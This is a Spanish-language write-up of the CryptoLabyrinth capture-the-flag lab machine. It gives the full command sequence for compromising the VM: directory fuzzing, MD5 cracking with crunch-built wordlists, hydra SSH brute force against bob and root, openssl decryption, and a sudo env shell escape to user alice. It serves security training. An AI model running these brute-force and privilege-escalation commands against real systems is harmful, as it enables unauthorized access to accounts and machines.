CryptoLabyrinth - TheHackerLabs
Esta fue una máquina sencilla, pero que necesita bastante análisis. Después de analizar el escaneo, analizamos la página web activa en el puerto 80, donde encontramos un comentario en su código fuente. Al no encontrar algo más, aplicamos Fuzzing, descubriendo así un directorio oculto que contiene pistas, hashes y un archivo cifrado. Descargamos el directorio y analizamos los hashes, logrando crackear casi todos con la página Crackstation. El último hash lo logramos crackear creando un wordlist de la contraseña encontrada en el código fuente de la página web con crunch. Luego, utilizamos esa contraseña para ganar acceso a la máquina vía SSH como el usuario dueño de los hashes. A su vez, identificamos una clave para descifrar el archivo encriptado, esto dentro de un archivo de texto, logrando descifrarlo con openssl y obteniendo la contraseña del usuario dueño del archivo encriptado, pero dicha contraseña no funciona. Como el primer usuario encontrado, descubrimos que tiene privilegios para usar el binario env como otro usuario, logrando abusar de este para escalar privilegios y convertirnos en este segundo usuario. Como el segundo usuario, encontramos una contraseña a la que le faltan dos caracteres. Utilizamos crunch de nuevo para crear un wordlist y luego lo usamos para aplicar fuerza bruta al usuario Root vía SSH, encontrando así su contraseña y ganando acceso como Root.
Herramientas utilizadas:
- ping
- nmap
- ffuf
- gobuster
- wget
- cat
- hash-identifier
- Crackstation
- crunch
- JohnTheRipper
- ssh
- hydra
- file
- xxd
- head
- openssl
- grep
- sudo
- env
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Crackeando Hashes del Usuario Bob y Encontrando su Contraseña
- Desencriptando Archivo alice_aes.enc con OpenSSL
- Post Explotación
- Enumeración de Máquina Víctima y Abusando de Privilegios para Convertirnos en Usuario alice
- Creando Wordlist de Posible Contraseña y Aplicando Fuerza Bruta al Usuario Root
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.140
PING 192.168.10.140 (192.168.10.140) 56(84) bytes of data.
64 bytes from 192.168.10.140: icmp_seq=1 ttl=64 time=1.65 ms
64 bytes from 192.168.10.140: icmp_seq=2 ttl=64 time=1.28 ms
64 bytes from 192.168.10.140: icmp_seq=3 ttl=64 time=1.06 ms
64 bytes from 192.168.10.140: icmp_seq=4 ttl=64 time=0.951 ms
--- 192.168.10.140 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.951/1.233/1.648/0.267 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.140 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 10:27 CST
Initiating ARP Ping Scan at 10:27
Scanning 192.168.10.140 [1 port]
Completed ARP Ping Scan at 10:27, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:27
Scanning 192.168.10.140 [65535 ports]
Discovered open port 80/tcp on 192.168.10.140
Discovered open port 22/tcp on 192.168.10.140
Completed SYN Stealth Scan at 10:27, 6.94s elapsed (65535 total ports)
Nmap scan report for 192.168.10.140
Host is up, received arp-response (0.00087s latency).
Scanned at 2025-06-23 10:27:20 CST for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay 2 puertos abiertos y supongo que la intrusión será por la página web del puerto 80.
Escaneo de Servicios
nmap -sCV -P 22,80 192.168.10.140 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 10:27 CST
Failed to resolve "22,80".
Nmap scan report for 192.168.10.140
Host is up (0.00084s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
El escaneo muestra que la página web es la página por defecto de Apache2.
Quizá encontremos algo oculto por ahí, así que vamos a investigar.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Sí, solamente es la página por defecto de Apache2.
Pero si revisamos el código fuente, encontraremos un comentario al final:
Puede que sea una contraseña o algo parecido, pero podemos ver que faltan 2 caracteres al final.
De ahí en fuera, no hay nada más.
Vamos a aplicar Fuzzing para ver si hay algún directorio oculto.
Fuzzing
Primero usaremos ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://192.168.10.140/FUZZ -t 300
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.10.140/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
hidden [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 234ms]
[Status: 200, Size: 10736, Words: 3435, Lines: 372, Duration: 53ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 10ms]
:: Progress: [220545/220545] :: Job [1/1] :: 269 req/sec :: Duration: [0:01:35] :: Errors: 0 ::
Parámetros | Descripción |
---|---|
-w | Para indicar el diccionario a usar en el fuzzing. |
-u | Para indicar la URL a utilizar. |
-t | Para indicar la cantidad de hilos a usar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.10.140/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.10.140/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/hidden (Status: 301) [Size: 317] [--> http://192.168.10.140/hidden/]
/server-status (Status: 403) [Size: 279]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Encontramos un directorio oculto, veamos su contenido:
Hay bastantes archivos, por lo que tendremos que analizar cada uno.
Analizando Archivos de Directorio hidden
Entre los archivos, podemos ver un archivo encriptado llamado alice_aes.enc y varios archivos que son hashes del usuario bob. Además, hay varios archivos de texto que, supongo, son pistas.
Vamos a descargar todos los archivos de este directorio con wget:
mkdir hidden
cd hidden
wget -r -np -nH --cut-dirs=1 --reject "index.html*" http://192.168.10.140/hidden/
...
Ya tenemos todos los archivos:
ls -la
total 68
drwxr-xr-x 2 root root 4096 jun 23 13:42 .
drwxr-xr-x 3 root root 4096 jun 23 13:42 ..
-rw-r--r-- 1 root root 48 oct 17 2024 alice_aes.enc
-rw-r--r-- 1 root root 33 oct 22 2024 bob_password1.hash
-rw-r--r-- 1 root root 33 oct 22 2024 bob_password2.hash
-rw-r--r-- 1 root root 33 oct 22 2024 bob_password3.hash
-rw-r--r-- 1 root root 33 oct 22 2024 bob_password4.hash
-rw-r--r-- 1 root root 33 oct 22 2024 bob_password5.hash
-rw-r--r-- 1 root root 65 oct 17 2024 bob_salt_hash.txt
-rw-r--r-- 1 root root 17 oct 17 2024 bob_salt.txt
-rw-r--r-- 1 root root 60 oct 17 2024 clue_aes.txt
-rw-r--r-- 1 root root 103 oct 17 2024 clue_bob.txt
-rw-r--r-- 1 root root 56 oct 17 2024 datos_sensibles_alice.txt
-rw-r--r-- 1 root root 52 oct 17 2024 importante_pista_alice.txt
-rw-r--r-- 1 root root 49 oct 17 2024 informe_segur_bob.txt
-rw-r--r-- 1 root root 106 oct 17 2024 numeros_suerte.txt
-rw-r--r-- 1 root root 61 oct 17 2024 pista_aes.txt
Al leer los archivos de texto, solo los siguientes tienen pistas:
cat pista_aes.txt
Aquí comienza tu búsqueda. La clave AES está bien oculta.
cat numeros_suerte.txt
Importante: Los números de la suerte son 7, 14, 21. La clave para desencriptar Alice es supercomplexkey!
cat importante_pista_alice.txt
Pista crítica: La contraseña de Alice es cifrada.
cat clue_bob.txt
La clave privada de bob está fragmentada. ¡Reúne todas las partes para desencriptar su contraseña!
cat clue_aes.txt
Encuentra el hash para descifrar la contraseña de Alice...
En resumen, debemos desencriptar el archivo alice_aes.enc y crackear los hashes del usuario bob.
Analizando los hashes con hash-identifier, resulta que fueron creados con formato MD5:
--------------------------------------------------
HASH: e10adc3949ba59abbe56e057f20f883e
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
--------------------------------------------------
HASH: c378985d629e99a4e86213db0cd5e70d
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
--------------------------------------------------
HASH: 0d107d09f5bbe40cade3de5c71e9e9b7
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
--------------------------------------------------
HASH: d8578edf8458ce06fbc5bb76a58c5ca4
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
--------------------------------------------------
HASH: 93ad6b16ba90629960e76a2c718ff4a5
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Podríamos intentar crackearlos con la página web crackstation, lo haremos más adelante.
Por último, hay dos archivos de texto que contienen un salt y el hash del salt para el usuario bob:
--------------------------------------------------
HASH: d5882bc2e9ca61f9
Possible Hashs:
[+] MySQL
[+] MD5(Middle)
--------------------------------------------------
HASH: 6f9f059ee11b1c409d403e0c72bd4929546987afca3530b3c8975f513b3e15a2
Possible Hashs:
[+] SHA-256
[+] Haval-256
Aunque, no creo que los vayamos a ocupar, tomémoslos en cuenta por sí las dudas.
Faltaría analizar el archivo encriptado, pero lo haremos más adelante.
Explotación de Vulnerabilidades
Crackeando Hashes del Usuario Bob y Encontrando su Contraseña
Intentemos crackear estos hashes con la página crackstation:
Observa los resultados.
Hash del archivo bob_password1.hash:
Hash del archivo bob_password2.hash:
Hash del archivo bob_password3.hash:
Hash del archivo bob_password4.hash:
Hash del archivo bob_password5.hash:
Obtuvimos los siguientes resultados:
bob_password1.hash => e10adc3949ba59abbe56e057f20f883e => 123456
bob_password2.hash => c378985d629e99a4e86213db0cd5e70d => chocolate
bob_password3.hash => 0d107d09f5bbe40cade3de5c71e9e9b7 => letmein
bob_password4.hash => d8578edf8458ce06fbc5bb76a58c5ca4 => qwerty
bob_password5.hash => 93ad6b16ba90629960e76a2c718ff4a5 => Fallo al crackear
Algo me dice que el último hash debe contener algo, pues no se pudo crackear con crackstation.
Tratando de crackearlo con JohnTheRipper no dará ningún resultado, y al intentar usar el salt que encontramos tampoco va a funcionar.
Pero si recordamos, al principio encontramos una clave oculta en el código fuente de la página web activa.
El problema es que le faltan 2 caracteres, por lo que debemos crear un wordlist que los rellene y eso lo podemos hacer con la herramienta crunch:
crunch 11 11 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -t 2LWxmDsW0@@ -o wordlist.txt
Crunch will now generate the following amount of data: 46128 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3844
crunch: 100% completed generating output
E intentemos crackear ese hash faltante:
john -w:wordlist.txt bob_password5.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
******** (?)
1g 0:00:00:00 DONE (2025-06-23 13:53) 25.00g/s 43200p/s 43200c/s 43200C/s 2LWxmDsW0zl..2LWxmDsW0Ct
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Funcionó.
Probemos si de casualidad es la contraseña del usuario bob:
ssh bob@192.168.10.140
bob@192.168.10.140's password:
Linux TheHackersLabs-CryptoLabyrinth 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
...
Last login: Mon Jun 23 21:04:14 2025
bob@TheHackersLabs-CryptoLabyrinth:~$ whoami
bob
Genial, estamos dentro.
También pudimos haber aplicado fuerza bruta al servicio SSH con ese wordlist:
hydra -l 'bob' -P wordlist.txt ssh://192.168.10.140 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-23 12:57:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 3721 login tries (l:1/p:3721), ~59 tries per task
[DATA] attacking ssh://192.168.10.140:22/
[STATUS] 474.00 tries/min, 474 tries in 00:01h, 3290 to do in 00:07h, 21 active
[STATUS] 296.67 tries/min, 890 tries in 00:03h, 2883 to do in 00:10h, 12 active
[22][ssh] host: 192.168.10.140 login: bob password: ********
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 11 final worker threads did not complete until end.
[ERROR] 11 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-23 13:03:57
Desencriptando Archivo alice_aes.enc con OpenSSL
Primero, veamos qué información obtenemos con el comando file:
file alice_aes.enc
alice_aes.enc: openssl enc'd data with salted password
Es un archivo encriptado con openssl y se utilizó un salt con la contraseña.
Para poder desencriptar el archivo encriptado alice_aes.enc, necesitamos el algoritmo de cifrado, el archivo cifrado, la clave usada en el cifrado y probar si se usó la derivación segura PBKDF2.
Como tal, no hay una manera de saber qué algoritmo de cifrado fue usado, solamente podemos comprobar que el archivo fue cifrado con el comando xxd y head:
xxd alice_aes.enc | head
00000000: 5361 6c74 6564 5f5f 81de 5864 0ccb eb4b Salted__..Xd...K
...
Ahí se ve la frase Salted__
que indica que el archivo fue cifrado y que, posiblemente, contiene un salt.
Hay muchos algoritmos de cifrado, pero hay uno que es el predeterminado, siendo el cifrado aes-256-cbc.
Ya tenemos la clave, que se incluyó en uno de los archivos de texto:
cat numeros_suerte.txt
Importante: Los números de la suerte son 7, 14, 21. La clave para desencriptar Alice es supercomplexkey!
Sería supercomplexkey!.
Aquí hay un blog que enseña cómo cifrar y descifrar archivos con openssl:
Intentemos descifrar ese archivo con la herramienta openssl:
openssl enc -d -aes-256-cbc -salt -pbkdf2 -in alice_aes.enc -k 'supercomplexkey!' -out alice_cont.txt
Parámetros | Descripción |
---|---|
-d | Eligiendo modo de descifrado. |
-aes-256-cbc | Especificando algoritmo de cifrado. |
-salt | Indica que se usó una sal (salt) para derivar la clave y el IV (vector de inicialización). |
-pbkdf2 | Utilizando el método PBKDF2 para derivar la clave desde la contraseña. |
-in | Indicando archivo cifrado. |
-k | Especificando la contraseña usada para derivar la clave simétrica y el IV. |
-out | Eligiendo archivo de salida. |
Se creó el archivo, veamos qué obtuvimos:
cat alice_cont.txt
superSecurePassword!
Parece ser la contraseña del usuario alice, pero al probarla para entrar al servicio SSH, no funcionará:
ssh alice@192.168.10.140
alice@192.168.10.140's password:
Permission denied, please try again.
Entonces, continuemos con el usuario bob.
Post Explotación
Enumeración de Máquina Víctima y Abusando de Privilegios para Convertirnos en Usuario alice
Veamos qué usuarios existen:
bob@TheHackersLabs-CryptoLabyrinth:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
debian:x:1000:1000:debian,,,:/home/debian:/bin/bash
bob:x:1001:1001:bob,,,:/home/bob:/bin/bash
alice:x:1002:1002:,,,:/home/alice:/bin/bash
Ahí está el usuario alice y existe el usuario debian.
Pero no podremos ver el contenido de sus directorios:
bob@TheHackersLabs-CryptoLabyrinth:~$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 oct 16 2024 .
drwxr-xr-x 18 root root 4096 oct 17 2024 ..
drwx------ 2 alice alice 4096 oct 17 2024 alice
drwx------ 2 bob bob 4096 oct 17 2024 bob
drwx------ 2 debian debian 4096 oct 16 2024 debian
Veamos qué archivos tiene este usuario:
bob@TheHackersLabs-CryptoLabyrinth:~$ ls -la
total 28
drwx------ 2 bob bob 4096 oct 17 2024 .
drwxr-xr-x 5 root root 4096 oct 16 2024 ..
-rw------- 1 bob bob 643 oct 23 2024 .bash_history
-rw-r--r-- 1 bob bob 220 oct 16 2024 .bash_logout
-rw-r--r-- 1 bob bob 3526 oct 16 2024 .bashrc
-rw-r--r-- 1 bob bob 807 oct 16 2024 .profile
-rw-r--r-- 1 root root 24 oct 17 2024 users.txt
Podemos ver una flag, pero no parece ser del formato usual. Aun así, vamos a guardarla.
También podemos ver que el historial de Bash no se vacía, por lo que podemos verlo:
bob@TheHackersLabs-CryptoLabyrinth:~$ cat .bash_history
...
echo -n "2LWx*DsW0A*" | mkpasswd --method=bcrypt --rounds=12 > /var/www/html/hidden/bob_password4.hash
...
sudo -u alice /usr/bin/env /bin/sh
...
cd /tmp/.secreto.txt
cat /tmp/.secreto.txt
...
cat /opt/.secreto.txt
...
cd /mnt
cat .secreto.txt
...
Hay algunos comandos que son pistas de lo que tenemos que hacer.
Podemos ver que se usó un comando que genera un hash bcrypt de una clave/contraseña 2LWx*DsW0A*
con costo de 12 iteraciones (a la clave/contraseña le faltan dos caracteres), y lo guarda en un archivo .hash que está expuesto en el servidor web como bob_password4.hash.
Lo que es extraño, porque ya desciframos ese archivo y obtuvimos un resultado distinto.
Hay un archivo llamado .secreto.txt, que parece existir en varios directorios, pero revisando los directorios mencionados, no encontraremos algo en dicho archivo.
Salvo el directorio /mnt
, donde ahí lo encontraremos, pero no podremos verlo:
bob@TheHackersLabs-CryptoLabyrinth:~$ ls -la /mnt
total 12
drwxr-xr-x 2 root root 4096 oct 23 2024 .
drwxr-xr-x 18 root root 4096 oct 17 2024 ..
-rw------- 1 alice alice 12 oct 21 2024 .secreto.txt
bob@TheHackersLabs-CryptoLabyrinth:~$ cat /mnt/.secreto.txt
cat: /mnt/.secreto.txt: Permiso denegado
Por último, vemos que se utilizó el comando env, que utiliza privilegios del usuario alice y que parece dar una sesión sh.
Eso quiere decir que nuestro usuario tiene privilegios para usar el comando env:
bob@TheHackersLabs-CryptoLabyrinth:~$ sudo -l
Matching Defaults entries for bob on TheHackersLabs-CryptoLabyrinth:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User bob may run the following commands on TheHackersLabs-CryptoLabyrinth:
(alice) NOPASSWD: /usr/bin/env
Busquemos en la guía de GTFOBins una forma de escalar privilegios:
Utilizaremos el mismo comando que fue usado y que se menciona aquí:
Probemos:
bob@TheHackersLabs-CryptoLabyrinth:~$ sudo -u alice /usr/bin/env /bin/bash
alice@TheHackersLabs-CryptoLabyrinth:/home/bob$ whoami
alice
Muy bien, somos el usuario alice.
Creando Wordlist de Posible Contraseña y Aplicando Fuerza Bruta al Usuario Root
Como este usuario, no podremos ver sus privilegios porque no tenemos su contraseña:
alice@TheHackersLabs-CryptoLabyrinth:/home/bob$ sudo -l
[sudo] contraseña para alice:
Lo siento, pruebe otra vez.
Aquí encontraremos otra flag:
alice@TheHackersLabs-CryptoLabyrinth:/home/bob$ cd ../alice/
alice@TheHackersLabs-CryptoLabyrinth:~$ ls
user.txt
alice@TheHackersLabs-CryptoLabyrinth:~$ cat user.txt
...
Ahora podemos ver el archivo .secreto.txt del directorio /mnt
:
alice@TheHackersLabs-CryptoLabyrinth:~$ cat /mnt/.secreto.txt
2LWx*DsW0A*
Es la clave/contraseña que vimos en el historial del usuario bob.
Quizá sea la contraseña para el usuario alice, pero recuerda que le faltan 2 caracteres.
Tendremos que crear otro wordlist con crunch:
crunch 11 11 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -t 2LWx@DsW0A@ -o wordlist2.txt
Crunch will now generate the following amount of data: 46128 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3844
crunch: 100% completed generating output
Y vamos a aplicarle fuerza bruta al Root, porque este wordlist no sirvió contra el usuario alice:
hydra -l 'root' -P wordlist2.txt ssh://192.168.10.140 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-23 13:32:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 3844 login tries (l:1/p:3844), ~61 tries per task
[DATA] attacking ssh://192.168.10.140:22/
[STATUS] 558.00 tries/min, 558 tries in 00:01h, 3328 to do in 00:06h, 22 active
[STATUS] 386.67 tries/min, 1160 tries in 00:03h, 2731 to do in 00:08h, 17 active
[STATUS] 311.00 tries/min, 2177 tries in 00:07h, 1716 to do in 00:06h, 15 active
[STATUS] 285.58 tries/min, 3427 tries in 00:12h, 466 to do in 00:02h, 15 active
[STATUS] 282.92 tries/min, 3678 tries in 00:13h, 215 to do in 00:01h, 15 active
[22][ssh] host: 192.168.10.140 login: root password: ******
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 12 final worker threads did not complete until end.
[ERROR] 12 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-23 13:46:22
Funcionó, tenemos la contraseña del Root.
Autentiquémonos vía SSH:
ssh root@192.168.10.140
root@192.168.10.140's password:
Linux TheHackersLabs-CryptoLabyrinth 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
...
Last login: Tue Oct 22 19:09:39 2024
root@TheHackersLabs-CryptoLabyrinth:~# whoami
root
Obtengamos la última flag:
root@TheHackersLabs-CryptoLabyrinth:~# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://crackstation.net/
- https://blog.ehcgroup.io/2019/01/09/15/29/15/4518/como-utilizar-crunch-una-guia-completa/hacking/ehacking/
- https://kerkour.com/openssl-encrypt-decrypt-file
- https://dl.acm.org/doi/fullHtml/10.5555/1145562.1145568
- https://docs.openssl.org/1.0.2/man1/enc/
- https://gtfobins.github.io/gtfobins/env/